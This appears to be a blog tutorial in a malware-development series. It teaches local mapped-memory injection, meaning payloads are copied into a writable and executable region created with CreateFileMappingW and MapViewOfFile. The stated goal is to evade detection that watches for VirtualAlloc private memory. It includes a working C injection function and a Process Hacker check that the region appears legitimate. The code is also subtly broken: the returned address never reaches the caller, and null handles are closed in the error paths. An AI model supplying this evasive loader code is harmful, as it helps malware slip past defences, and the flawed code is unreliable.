Malware Development: Crafting Digital Chaos 0x9: Private vs Mapped memory
Private vs Mapped memory
Usually and for the wide use of API calls such as VirtualAlloc()
and VirtualAllocEx()
and as the memory allocation type of these API calls is Private memory, the detection is becoming very high and thus it is mandatory to find an evasion technique.
Another type of Injection can be Mapping Injection, or in other words injecting malicious code in Mapped
memory sections, and this way we can avoid using the API calls we mentioned above and use API calls such as CreateFileMapping
and MapViewOfFile
.
Payload Injection in Mapped regions
CreateFileMapping
This API call return a handle to a file object, and the contents of the file on disk are mapped to a memory region.
HANDLE CreateFileMappingW(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh,
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCWSTR lpName
);
Important Parameters
[in] hFile
A handle to the file from which to create a file mapping object.
[in] flProtect
Specifies the page protection of the file mapping object. All mapped views of the object must be compatible with this protection.
We usually use PAGE_EXECUTE_READWRITE
here.
[in] dwMaximumSizeLow
The low-order DWORD of the maximum size of the file mapping object.
MapViewofFile
This API call maps a view of a file mapping into the address space of a calling process.
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh,
[in] DWORD dwFileOffsetLow,
[in] SIZE_T dwNumberOfBytesToMap
);
Important parameters
[in] hFileMappingObject
A handle to a file mapping object. The CreateFileMapping and OpenFileMapping functions return this handle
[in] dwDesiredAccess
The type of access to a file mapping object, which determines the page protection of the pages.
We usually use FILE_MAP_EXECUTE and FILE_MAP_WRITE because we obviously need a writeable and executable memory region.
[in] dwNumberOfBytesToMap
The number of bytes of a file mapping to map to the view
Performing Injection to a Mapped memory
Here is the function that we will be using to perform the injection
BOOL LocalMapping(IN PBYTE pPayload, IN size_t pPayloadSize, OUT PVOID pAddress) {
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, pPayloadSize, NULL);
if (hFile == NULL) {
printf("CreateFileMapping failed with error %d", GetLastError());
CloseHandle(hFile);
return 0;
}
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, pPayloadSize);
if (pMapAddress == NULL) {
printf("MapViewofFile failed with error %d", GetLastError());
CloseHandle(pMapAddress);
return 0;
}
memcpy(pMapAddress, pPayload, pPayloadSize);
pAddress = pMapAddress;
return 1;
}
The code above implements what is called local mapped memory injection
by creating an executable and writable memory region and then mapping it into the process’s address space
Then copying the payload into this mapped memory. here CreateFileMappingW
is used to create a memory-mapped file object and MapViewOfFile
to map this object into memory with PAGE_EXECUTE_READWRITE
permissions. The payload is then copied into the allocated memory using memcpy
.
Executing
Lets execute and examine the memory regions after copying the payload.
We set a breakpoint after the memcpy
.
And we can check the memory region type also by using Process Hacker.
As we can see, the memory is Mapped not Private, which helps us in improving our evasion technique and appearing more legitimate.